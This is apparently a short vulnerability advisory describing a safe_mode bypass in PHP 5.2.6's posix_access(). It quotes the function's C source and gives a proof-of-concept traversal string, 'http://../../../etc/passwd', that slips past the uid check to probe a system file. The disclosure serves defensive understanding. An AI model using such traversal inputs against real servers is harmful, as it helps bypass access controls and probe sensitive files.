PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web
developers to write dynamically generated pages quickly.
posix_access ? Determine accessibility of a file
SYNOPSIS:
bool posix_access ( string $file [, int $mode ] )
http://pl2.php.net/manual/pl/function.posix-access.php

VULNERABLE FUNCTIONS
- --- 1. PHP 5.2.6 posix_access() safe_mode bypass ---
Let's see to posix_access() function
- ---
PHP_FUNCTION(posix_access)
{
long mode = 0;
int filename_len, ret;
char *filename, *path;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &filename, &filename_len,
&mode) == FAILURE) {
RETURN_FALSE;
}
path = expand_filepath(filename, NULL TSRMLS_CC);
if (!path) {
POSIX_G(last_error) = EIO;
RETURN_FALSE;
}
if (php_check_open_basedir_ex(path, 0 TSRMLS_CC) ||
(PG(safe_mode) && (!php_checkuid_ex(filename, NULL,
CHECKUID_CHECK_FILE_AND_DIR, CHECKUID_NO_ERRORS)))) {
efree(path);
POSIX_G(last_error) = EPERM;
RETURN_FALSE;
}
ret = access(path, mode);
efree(path);
if (ret) {
POSIX_G(last_error) = errno;
RETURN_FALSE;
}
RETURN_TRUE;
}
- ---
var_dump(posix_access("http://../../../etc/passwd"))==T
rue
var_dump(posix_access("/etc/passwd"))==False
Why?
Because path = expand_filepath(filename, NULL TSRMLS_CC); will change
"http://../../../etc/passwd" to path=/etc/passwd
(PG(safe_mode) && (!php_checkuid_ex(filename, NULL, CHECKUID_CHECK_FILE_AND_DIR,
CHECKUID_NO_ERRORS))) will check realy path "http://../../../etc/passwd". http:// is using in
php_checkuid_ex(), so safe_mode is bypassed.
